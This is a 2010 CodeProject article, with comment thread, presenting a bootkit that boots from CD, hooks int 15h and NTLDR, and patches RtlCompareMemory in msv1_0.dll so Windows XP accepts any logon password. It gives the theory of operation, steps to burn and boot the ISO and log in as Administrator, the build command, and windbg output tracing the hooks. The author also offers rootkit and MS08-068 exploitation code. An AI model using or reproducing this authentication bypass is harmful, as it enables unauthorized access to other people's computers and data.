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Posted 5 May 2010


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Bypassing Windows XP Logon Password using bootkit

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4.98/5 (36 votes)
5 May 2010GPL34 min read
An article on Windows XP logon process modification


Sometimes you want to log into Windows box, but you don't know the password. A few years ago (summer 2007), I wrote a utility to solve this problem. At the time, there was no similar tool around. There existed programs which were able to reset the password (it's not a very stealthy approach btw). Nowadays, such tools are nothing special (some Polish guy even created webpages for such a tool and he is charging money for it) and so I decided to publish my old stuff. I believe that bright people from CodeProject community can extend it into actually usable open source software.


I came across this blog post [1]. The idea is to use kernel debugger in order to modify routine msv1_0!MsvpPasswordValidate in such a way it always returns TRUE, even for an incorrect password. I was impressed by the simplicity of the idea and decided to implement it using bootable CD instead of debugger. A great compilation of information on bootable CD is eEye's BootRoot [2]. Another inspirational material is [3].

Theory of operation:

Flow of execution
	0 hic sum leones (DRAM initialization, POST, etc.) - see [4]
	1 boot from CD:
		CD code hooks int 15h and copies itself to RAM
		CD code boots NTLDR from HDD
	2 boot from HDD
		NTLDR is running
		NTLDR calls int 15h
		int 15h hooked handler patches NTDLR with 32 bit stager
		NTLDR is running
		32 bit stager is called
		32 bit stager calls payload
		payload hooks IoCreateDriver
		NTLDR is running
		IoCreateDriver is called, hook registers custom callback 
			using PsSetLoadImageNotifyRoutine
		PspLoadImageNotifyRoutine notifies us about images being loaded
		if the image name is msv1_0.dll, hook (IAT style) RtlCompareMemory
	3 windows logon dialog appears and arbitrary password is accepted 
		for every account

Nota bene:

  • int 15h is used instead of usual int 13h used in BootRoot and its clones
  • int 15h was found to be viable by using custom interrupt PCI-ROM based sniffer and leads to more compact code
  • msv1_0!MsvpPasswordValidate is not hooked, because it's not exported
  • password is validated also in ADVAPI32!SystemFunction031
  • both functions mentioned above call RtlCompareMemory, which is exported
  • RtlCompareMemory is modified in such a way it returns 0 (true) for all the blocks of length of password hash
  • it's dirty hack, it's not intended for production use :)

So, how does it work? When you enter password, Windows computes hash of the password and compares it with stored hash of the correct password. But the comparison routine was modified, so it returns true for any two hashes, i.e. for any password you enter.

Using the Code

This tool was designed for CD ISO and Windows XP x86. Feel free to try it with USB flash disk or modify it for new Windows.

  1. Burn the ISO on CD.
  2. Boot Windows XP machine from the CD.
  3. When logon dialog appears, enter required username (e.g. Administrator, SUPPORT_388945a0, etc.) and press enter.
  4. If everything worked out correctly, you're now logged in.

For building the project from source, you need FASM.exe and Microsoft CDIMAGE.exe.

fasm boot.asm bootkit.rom && cdimage -bbootkit.rom C:\bootkit\root\ C:\bootkit.iso

Assume that C:\bootkit\root is an arbitrary non-empty folder that will be the root of a newly created ISO image which will be written to C:\bootkit.iso.

VMWare Debugging

To test the bootkit, you can setup XP in VMWare to boot from C:\bootkit.iso (don't forget to change boot device in VMWare BIOS to CD). If you want to see what's going on during the logon process, you can attach windbg.

  1. Grab your free copy of Debugging Tools for Windows from Microsoft and install it.
  2. Edit VMWare machine settings: Add Serial port, 'Output to named pipe', 'This end is the server.', 'The other end is application', finish and check 'Yield CPU on poll'.
  3. Start XP in VMWare and edit boot.ini using msconfig (add option /DEBUG with COM1 and fastest baudrate). Turn off XP.
  4. Start XP again and run windbg using a shortcut like this one:
    "C:\Program Files\Debugging Tools for Windows 
    	(x86)\windbg.exe" -y srv*c:\windows\symbols* -b -k com:pipe,

    If you're successful, you'll see:

    Microsoft (R) Windows Debugger Version 6.9.0003.113 X86
    Copyright (c) Microsoft Corporation. All rights reserved.
    Opened \\.\pipe\com_1
    Waiting to reconnect...
    Connected to Windows XP 2600 x86 compatible target, ptr64 FALSE
    Kernel Debugger connection established.  (Initial Breakpoint requested)
    Symbol search path is: srv*c:\windows\symbols*;SRV**
    Executable search path is: 
    Windows XP Kernel Version 2600 UP Free x86 compatible
    Built by: 2600.xpsp_sp2_rtm.040803-2158
    Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055ab20
    System Uptime: not available
    Break instruction exception - code 80000003 (first chance)
    *                                                                             *
    *   You are seeing this message because you pressed either                    *
    *       CTRL+C (if you run kd.exe) or,                                        *
    *       CTRL+BREAK (if you run WinDBG),                                       *
    *   on your debugger machine's keyboard.                                      *
    *                                                                             *
    *                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
    *                                                                             *
    * If you did not intend to break into the debugger, press the "g" key, then   *
    * press the "Enter" key now.  This message might immediately reappear.  If it *
    * does, press "g" and "Enter" again.                                          *
    *                                                                             *
    804e3b25 cc              int     3
  5. Now windbg is attached to windows. Let's see hooked function IoCreateDriver:
    kd> u IoCreateDriver
    805d60e3 b8c3f00980      mov     eax,8009F0C3h <- address of payload.asm/_stager
    805d60e8 ffd0            call    eax		 <- call _stager
    kd> uf 8009F0C3h				 <- _stager
    8009f0c3 802c2407        sub     byte ptr [esp],7
    8009f0c7 60              pushad
    8009f0c8 66bb53a3        mov     bx,0A353h
    8009f0cc e80b010000      call    8009f1dc
    8009f0d1 68ecf00980      push    8009F0ECh	 <- address of payload.asm/
    8009f0d6 ffd0            call    eax
    cleanup hook
    8009F0ECh 				 <- PspLoadImageNotifyRoutine
    - checks if the loaded module is msv1_0.dll
    - if yes, hooks IAT RtlCompareMemory
  6. Module 'msv1_0.dll' is now patched. Enter 'g' and wait till logon screen appears. Then break in (Ctrl+Break).
    kd> !process 0 0 winlogon.exe
    PROCESS 819aaa88  SessionId: 0  Cid: 0274    Peb: 7ffd8000  ParentCid: 01f0
        DirBase: 0a5b2000  ObjectTable: e13d6110  HandleCount: 398.
        Image: winlogon.exe
    kd> .process /p /r 819aaa88
    Implicit process is now 819aaa88
    .cache forcedecodeuser done
    Loading User Symbols
    kd> uf msv1_0!MsvpPasswordValidate	<- we want this function to return always TRUE
    77c69927 ??              ???
                                       ^ Memory access error in 
    				'u msv1_0!MsvpPasswordValidate l3'
    kd> .pagein msv1_0!MsvpPasswordValidate
    You need to continue execution (press 'g' <enter>) for the pagein to be brought in.
    	When the debugger breaks in again, the page will be present.
    kd> g
    Break instruction exception - code 80000003 (first chance)
    804e3b25 cc              int     3
    kd> dd msv1_0!_imp__RtlCompareMemory l1 <- this is IAT entry for RtlCompareMemory
    77c610cc  77c60fe5			   <- and this is address of our 
    				new RtlCompareMemory: RtlCompareMemoryPatch
    kd> u 77c60fe5				<- payload.asm/RtlCompareMemoryPatch
    - if size of chunks to compare is 10h (hash size), then return 0 (=TRUE)
    - else call original RtlCompareMemory
    - it's a nasty hack, use different method in production use :)
  7. Now press you can put breakpoint using 'bp msv1_0!MsvpPasswordValidate' (to remove it, type 'bc*') and step through the login process using commands 't' or 'p'. For help, type command '.help command_name'.

Points of Interest

This utility is very compact. The source code has about 9 KB including comments, compiled binary has only 582 B but the size is 2 KB because it's padded to fit a 1 CD sector. So there is plenty (1466 B) of space for your own code down there.

Code comments are in Czech, which is my native language. As I mentioned earlier, this is an old project. Should you have any questions regarding the code, let me know in the comments section.

If there is some interest, I can publish another old C/ASM stuff (irremovable rootkit code using hw locks, VGA ROM for rootkit code storage, real hard real-time using non-maskable interrupts (NMI), remote enabling of remote desktop using MS08-068 vulnerability exploitation - i.e. Conficker, etc.).


  1. bugcheck, Bypassing your testbox's login password,, August 10, 2006
  2. SOEDER, Derek, PERMEH, Ryan, eEye BootRoot,, 2005
  3. bugcheck, Skype, Kernel-mode Payloads on Windows,, December 12, 2005
  4. Compaq Computer Corporation, Phoenix Technologies Ltd., Intel Corporation, BIOS Boot Specification, Version 1.01, January 11, 1996


  • 5th May, 2010: Initial post


This article, along with any associated source code and files, is licensed under The GNU General Public License (GPLv3)


About the Author

Czech Republic Czech Republic
fhrdina @

Comments and Discussions

Questionbootkit doesn't work with Windows 8 or 7 Pin
jame kitty2-Jun-15 16:45
Memberjame kitty2-Jun-15 16:45 
AnswerRe: bootkit doesn't work with Windows 8 or 7 Pin
Kunkzi25-Sep-16 22:44
MemberKunkzi25-Sep-16 22:44 
GeneralMy vote of 5 Pin
gndnet26-Jun-12 5:37
Membergndnet26-Jun-12 5:37 
QuestionStuff Pin
Gargodong5-Apr-12 8:40
MemberGargodong5-Apr-12 8:40 
QuestionCan you explain it more detailed? Pin
qqk20081-Dec-10 2:03
Memberqqk20081-Dec-10 2:03 
AnswerRe: Can you explain it more detailed? Pin
fhrdina1-Dec-10 3:38
Memberfhrdina1-Dec-10 3:38 
AnswerRe: Can you explain it more detailed? Pin
fhrdina1-Dec-10 14:32
Memberfhrdina1-Dec-10 14:32 
GeneralRe: Can you explain it more detailed? Pin
qqk20082-Dec-10 4:17
Memberqqk20082-Dec-10 4:17 
GeneralRe: Can you explain it more detailed? Pin
fhrdina2-Dec-10 5:29
Memberfhrdina2-Dec-10 5:29 
GeneralRe: Can you explain it more detailed? Pin
qqk20082-Dec-10 14:56
Memberqqk20082-Dec-10 14:56 
GeneralRe: Can you explain it more detailed? Pin
fhrdina2-Dec-10 16:06
Memberfhrdina2-Dec-10 16:06 
GeneralRe: Can you explain it more detailed? Pin
qqk20082-Dec-10 17:48
Memberqqk20082-Dec-10 17:48 
GeneralRe: Can you explain it more detailed? Pin
fhrdina2-Dec-10 22:41
Memberfhrdina2-Dec-10 22:41 
GeneralRe: Can you explain it more detailed? Pin
qqk20083-Dec-10 0:03
Memberqqk20083-Dec-10 0:03 
GeneralRe: Can you explain it more detailed? Pin
fhrdina3-Dec-10 0:37
Memberfhrdina3-Dec-10 0:37 
GeneralRe: Can you explain it more detailed? Pin
qqk20083-Dec-10 2:14
Memberqqk20083-Dec-10 2:14 
GeneralRe: Can you explain it more detailed? Pin
fhrdina3-Dec-10 3:19
Memberfhrdina3-Dec-10 3:19 
GeneralRe: Can you explain it more detailed? Pin
qqk20083-Dec-10 2:31
Memberqqk20083-Dec-10 2:31 
GeneralRe: Can you explain it more detailed? Pin
fhrdina3-Dec-10 3:26
Memberfhrdina3-Dec-10 3:26 
GeneralRe: Can you explain it more detailed? Pin
Prasanta00624-May-12 0:53
MemberPrasanta00624-May-12 0:53 
AnswerRe: Can you explain it more detailed? Pin
Member 817477221-Dec-12 20:52
MemberMember 817477221-Dec-12 20:52 
GeneralMy vote of 5 Pin
qqk20081-Dec-10 1:51
Memberqqk20081-Dec-10 1:51 
Generalcode doesnt seem to work Pin
Yogesh Roy28-Aug-10 7:18
MemberYogesh Roy28-Aug-10 7:18 
GeneralRe: code doesnt seem to work Pin
fhrdina28-Aug-10 7:40
Memberfhrdina28-Aug-10 7:40 
Generalbootkit doesn't work for Windows 7 Pin
Jeremyer3-Aug-10 5:20
MemberJeremyer3-Aug-10 5:20 

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